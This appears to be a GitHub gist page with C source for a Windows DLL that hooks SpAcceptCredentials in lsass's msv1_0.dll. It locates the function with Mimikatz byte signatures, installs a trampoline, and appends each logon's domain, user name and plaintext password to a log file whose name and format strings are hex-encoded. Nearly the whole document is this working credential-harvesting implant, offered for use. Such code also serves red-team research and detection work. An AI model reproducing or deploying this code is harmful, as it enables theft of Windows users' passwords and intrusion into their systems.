-
-
Save xpn/93f2b75bf086baf2c388b2ddd50fb5d0 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Requires /GS- to disable stack-cookies | |
#define WIN32_NO_STATUS | |
#define SECURITY_WIN32 | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <windows.h> | |
#include <sspi.h> | |
#include <ntsecapi.h> | |
#include <ntsecpkg.h> | |
#define PATTERN_OFFSET 0x10 | |
// | |
// Full credit to Mimikatz for signatures, hook routine, and general awesomeness. | |
// | |
BYTE INSTR_JMP[] = { 0xff, 0x25, 0x00, 0x00, 0x00, 0x00 }; // need 14 | |
BYTE PTRN_WI81_MSV1_0[] = { 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0xf1, 0x48 }; | |
typedef NTSTATUS(NTAPI* PSPACCEPTCREDENTIALS)(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials); | |
typedef FILE* (__cdecl* PFOPEN)(__in_z const char* _Filename, __in_z const char* _Mode); | |
typedef int(__cdecl* PFWPRINTF)(__inout FILE* _File, __in_z __format_string const wchar_t* _Format, ...); | |
typedef int(__cdecl* PFCLOSE)(__inout FILE* _File); | |
#pragma optimize("", off) | |
NTSTATUS NTAPI misc_msv1_0_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials) | |
{ | |
FILE* logfile; | |
DWORD filename[] = { 0x2e6e7078, 0x00676f6c }, | |
append = 0x00000061, | |
format[] = { 0x0025005b, 0x00380030, 0x003a0078, 0x00300025, 0x00780038, 0x0020005d, 0x00770025, 0x005c005a, 0x00770025, 0x0009005a, 0x00770025, 0x000a005a, 0x00000000 }; | |
if (logfile = ((PFOPEN)0x4141414141414141)((PCHAR)filename, (PCHAR)& append)) | |
{ | |
((PFWPRINTF)0x4242424242424242)(logfile, (PWCHAR)format, PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, &PrimaryCredentials->Password); | |
((PFCLOSE)0x4343434343434343)(logfile); | |
} | |
return ((PSPACCEPTCREDENTIALS)0x4444444444444444)(LogonType, AccountName, PrimaryCredentials, SupplementalCredentials); | |
} | |
DWORD misc_msv1_0_SpAcceptCredentials_end() { return 'mssp'; } | |
// Searches for a provided pattern in memory and returns the offset | |
DWORD SearchPattern(unsigned char* mem, unsigned char* signature, DWORD signatureLen, DWORD memSize) { | |
ULONG offset = 0; | |
for (DWORD i = 0; i < memSize; i++) { | |
if (*(unsigned char*)(mem + i) == signature[0] && *(unsigned char*)(mem + i + 1) == signature[1]) { | |
if (memcmp(mem + i, signature, signatureLen) == 0) { | |
// Found the signature | |
offset = i; | |
break; | |
} | |
} | |
} | |
return offset; | |
} | |
DWORD SearchPatternLiteral(unsigned char *mem, ULONGLONG literal, ULONG memSize) { | |
return SearchPattern(mem, (unsigned char *)&literal, sizeof(literal), memSize); | |
} | |
// Patch lsass msv1_0.dll to harvest credentials | |
void patch(void) { | |
DWORD patternOffset, oldProtect, oldOldProtect; | |
unsigned char* hook, *returnJump; | |
unsigned char* msvDllBase = (unsigned char *)GetModuleHandleA("msv1_0.dll"); | |
//unsigned char* dll = (unsigned char*)LoadLibraryA("msv1_0.dll"); | |
if (msvDllBase == NULL) { | |
return; | |
} | |
ULONGLONG hookSize = (ULONGLONG)&misc_msv1_0_SpAcceptCredentials_end - (ULONGLONG)&misc_msv1_0_SpAcceptCredentials; | |
// Memory used to store the SpAcceptCredentials hook | |
hook = (unsigned char*)VirtualAlloc(NULL, hookSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
if (hook == NULL) { | |
return; | |
} | |
// Memory used to store a return jump back into SpAcceptCredentials | |
returnJump = (unsigned char *)VirtualAlloc(NULL, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
if (returnJump == NULL) { | |
return; | |
} | |
// Copy hook into allocated memory | |
memcpy(hook, misc_msv1_0_SpAcceptCredentials, hookSize); | |
// Update placeholder for fopen | |
patternOffset = SearchPatternLiteral(hook, 0x4141414141414141, hookSize); | |
*(void **)(hook + patternOffset) = GetProcAddress(LoadLibraryA("msvcrt.dll"), "fopen"); | |
// Update placeholder for fwprintf | |
patternOffset = SearchPatternLiteral(hook, 0x4242424242424242, hookSize); | |
*(void**)(hook + patternOffset) = GetProcAddress(LoadLibraryA("msvcrt.dll"), "fwprintf"); | |
// Update placeholder for fclose | |
patternOffset = SearchPatternLiteral(hook, 0x4343434343434343, hookSize); | |
*(void**)(hook + patternOffset) = GetProcAddress(LoadLibraryA("msvcrt.dll"), "fclose"); | |
// Update placeholder for return back into SpAcceptCredentials | |
patternOffset = SearchPatternLiteral(hook, 0x4444444444444444, hookSize); | |
*(void**)(hook + patternOffset) = returnJump; | |
// Search for Mimikatz pattern which lands us at SpAcceptCredentials | |
patternOffset = SearchPattern(msvDllBase, PTRN_WI81_MSV1_0, sizeof(PTRN_WI81_MSV1_0), 0x200000); | |
if (patternOffset == 0) { | |
return; | |
} | |
// Offset from pattern match to start of function | |
patternOffset -= PATTERN_OFFSET; | |
// Copy 15 bytes from start of SpAcceptCredentials which will be overwritten with our | |
// trampoline | |
memcpy(returnJump, msvDllBase + patternOffset, 15); | |
// Add return JMP instruction back into SpAcceptCredentials | |
memcpy(returnJump + 15, INSTR_JMP, sizeof(INSTR_JMP)); | |
*(ULONGLONG*)(returnJump + 15 + sizeof(INSTR_JMP)) = (ULONGLONG)(msvDllBase + patternOffset + 15); | |
// Update protection of SpAcceptCredentials and add our trampoline | |
VirtualProtect(msvDllBase + patternOffset, 0x10, PAGE_EXECUTE_READWRITE, &oldProtect); | |
memcpy(msvDllBase + patternOffset, INSTR_JMP, sizeof(INSTR_JMP)); | |
*(ULONGLONG*)(msvDllBase + patternOffset + sizeof(INSTR_JMP)) = (ULONGLONG)hook; | |
// Clean up RWX pages | |
VirtualProtect(msvDllBase + patternOffset, 0x10, oldProtect, &oldOldProtect); | |
VirtualProtect(returnJump, 1024, PAGE_EXECUTE_READ, &oldProtect); | |
VirtualProtect(hook, hookSize, PAGE_EXECUTE_READ, &oldProtect); | |
} | |
BOOL APIENTRY DllMain( HMODULE hModule, | |
DWORD ul_reason_for_call, | |
LPVOID lpReserved | |
) | |
{ | |
switch (ul_reason_for_call) | |
{ | |
case DLL_PROCESS_ATTACH: | |
patch(); | |
case DLL_THREAD_ATTACH: | |
case DLL_THREAD_DETACH: | |
case DLL_PROCESS_DETACH: | |
break; | |
} | |
// Return FALSE to fail DLL load, although we will have installed our patch above | |
return FALSE; | |
} | |
#pragma optimize("", on) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment